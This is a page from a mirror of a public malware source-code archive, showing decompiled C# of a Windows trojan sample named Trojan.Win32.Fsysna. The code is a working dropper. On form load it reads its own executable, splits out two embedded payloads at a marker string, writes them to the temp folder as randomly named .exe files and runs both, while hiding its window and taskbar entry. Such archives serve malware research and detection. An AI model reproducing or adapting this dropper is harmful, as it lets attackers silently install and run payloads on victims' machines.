mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 03:16:11 +00:00
f2ac1ece55
add
214 lines
6.2 KiB
C#
214 lines
6.2 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: mini.Form1
|
|
// Assembly: mini, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 952B6C26-6BED-4AA4-A7C3-6C9D321E8DF3
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Fsysna.diom-a5ef4d55c96aca6699873bba5d26645f4e3270ab2122ef8929a443cfb34a5a45.exe
|
|
|
|
using Microsoft.VisualBasic;
|
|
using Microsoft.VisualBasic.CompilerServices;
|
|
using System;
|
|
using System.Collections.Generic;
|
|
using System.ComponentModel;
|
|
using System.Diagnostics;
|
|
using System.Drawing;
|
|
using System.IO;
|
|
using System.Runtime.CompilerServices;
|
|
using System.Windows.Forms;
|
|
|
|
namespace mini
|
|
{
|
|
[DesignerGenerated]
|
|
public class Form1 : Form
|
|
{
|
|
private static List<WeakReference> __ENCList = new List<WeakReference>();
|
|
private IContainer components;
|
|
[AccessedThroughProperty("PictureBox1")]
|
|
private PictureBox _PictureBox1;
|
|
private const string QQ278aI4YXHqqULuio2lQQ278aI4YXHqqULuio2l = "LMJXxDLx9y7EW9NQlambLMJXxDLx9y7EW9NQlamb";
|
|
|
|
[DebuggerNonUserCode]
|
|
static Form1()
|
|
{
|
|
}
|
|
|
|
[DebuggerNonUserCode]
|
|
public Form1()
|
|
{
|
|
this.Load += new EventHandler(this.Form1_Load);
|
|
lock (Form1.__ENCList)
|
|
Form1.__ENCList.Add(new WeakReference((object) this));
|
|
this.InitializeComponent();
|
|
}
|
|
|
|
[DebuggerNonUserCode]
|
|
protected override void Dispose(bool disposing)
|
|
{
|
|
try
|
|
{
|
|
if (!disposing || this.components == null)
|
|
return;
|
|
this.components.Dispose();
|
|
}
|
|
finally
|
|
{
|
|
base.Dispose(disposing);
|
|
}
|
|
}
|
|
|
|
[DebuggerStepThrough]
|
|
private void InitializeComponent()
|
|
{
|
|
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (Form1));
|
|
this.PictureBox1 = new PictureBox();
|
|
((ISupportInitialize) this.PictureBox1).BeginInit();
|
|
this.SuspendLayout();
|
|
this.PictureBox1.Image = (Image) componentResourceManager.GetObject("PictureBox1.Image");
|
|
this.PictureBox1.Location = new Point(115, 49);
|
|
this.PictureBox1.Name = "PictureBox1";
|
|
PictureBox pictureBox1 = this.PictureBox1;
|
|
Size size1 = new Size(495, 87);
|
|
Size size2 = size1;
|
|
pictureBox1.Size = size2;
|
|
this.PictureBox1.SizeMode = PictureBoxSizeMode.StretchImage;
|
|
this.PictureBox1.TabIndex = 8;
|
|
this.PictureBox1.TabStop = false;
|
|
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
|
this.AutoScaleMode = AutoScaleMode.Font;
|
|
size1 = new Size(10, 10);
|
|
this.ClientSize = size1;
|
|
this.Controls.Add((Control) this.PictureBox1);
|
|
this.FormBorderStyle = FormBorderStyle.None;
|
|
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
|
this.MaximizeBox = false;
|
|
this.MinimizeBox = false;
|
|
this.Name = nameof (Form1);
|
|
this.ShowIcon = false;
|
|
this.ShowInTaskbar = false;
|
|
this.Text = "Mini";
|
|
((ISupportInitialize) this.PictureBox1).EndInit();
|
|
this.ResumeLayout(false);
|
|
}
|
|
|
|
internal virtual PictureBox PictureBox1
|
|
{
|
|
[DebuggerNonUserCode] get => this._PictureBox1;
|
|
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._PictureBox1 = value;
|
|
}
|
|
|
|
private void Form1_Load(object sender, EventArgs e)
|
|
{
|
|
label_1:
|
|
int num1;
|
|
int num2;
|
|
try
|
|
{
|
|
ProjectData.ClearProjectError();
|
|
num1 = -2;
|
|
label_2:
|
|
int num3 = 2;
|
|
string tempPath = Path.GetTempPath();
|
|
label_3:
|
|
num3 = 3;
|
|
FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
|
|
label_4:
|
|
num3 = 4;
|
|
string Expression = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
|
label_5:
|
|
num3 = 5;
|
|
FileSystem.FileGet(1, ref Expression);
|
|
label_6:
|
|
num3 = 6;
|
|
FileSystem.FileClose(1);
|
|
label_7:
|
|
num3 = 7;
|
|
string[] strArray = Strings.Split(Expression, "LMJXxDLx9y7EW9NQlambLMJXxDLx9y7EW9NQlamb");
|
|
label_8:
|
|
num3 = 8;
|
|
FileSystem.FileOpen(3, tempPath + "\\biemn0bveNa1XvaxsUo9.exe", OpenMode.Binary, OpenAccess.ReadWrite);
|
|
label_9:
|
|
num3 = 9;
|
|
FileSystem.FilePut(3, strArray[1], -1L, false);
|
|
label_10:
|
|
num3 = 10;
|
|
FileSystem.FileClose(3);
|
|
label_11:
|
|
num3 = 11;
|
|
FileSystem.FileOpen(5, tempPath + "\\vHvj3WAsY1mcPFeThCaG.exe", OpenMode.Binary, OpenAccess.ReadWrite);
|
|
label_12:
|
|
num3 = 12;
|
|
FileSystem.FilePut(5, strArray[2], -1L, false);
|
|
label_13:
|
|
num3 = 13;
|
|
FileSystem.FileClose(5);
|
|
label_14:
|
|
num3 = 14;
|
|
Process.Start(tempPath + "\\biemn0bveNa1XvaxsUo9.exe");
|
|
label_15:
|
|
num3 = 15;
|
|
Process.Start(tempPath + "\\vHvj3WAsY1mcPFeThCaG.exe");
|
|
label_16:
|
|
num3 = 16;
|
|
this.Close();
|
|
ProjectData.EndApp();
|
|
goto label_23;
|
|
label_18:
|
|
num2 = num3;
|
|
switch (num1 > -2 ? num1 : 1)
|
|
{
|
|
case 1:
|
|
int num4 = num2 + 1;
|
|
num2 = 0;
|
|
switch (num4)
|
|
{
|
|
case 1:
|
|
goto label_1;
|
|
case 2:
|
|
goto label_2;
|
|
case 3:
|
|
goto label_3;
|
|
case 4:
|
|
goto label_4;
|
|
case 5:
|
|
goto label_5;
|
|
case 6:
|
|
goto label_6;
|
|
case 7:
|
|
goto label_7;
|
|
case 8:
|
|
goto label_8;
|
|
case 9:
|
|
goto label_9;
|
|
case 10:
|
|
goto label_10;
|
|
case 11:
|
|
goto label_11;
|
|
case 12:
|
|
goto label_12;
|
|
case 13:
|
|
goto label_13;
|
|
case 14:
|
|
goto label_14;
|
|
case 15:
|
|
goto label_15;
|
|
case 16:
|
|
goto label_16;
|
|
case 17:
|
|
goto label_23;
|
|
}
|
|
break;
|
|
}
|
|
}
|
|
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
goto label_18;
|
|
}
|
|
throw ProjectData.CreateProjectError(-2146828237);
|
|
label_23:
|
|
if (num2 == 0)
|
|
return;
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
}
|
|
}
|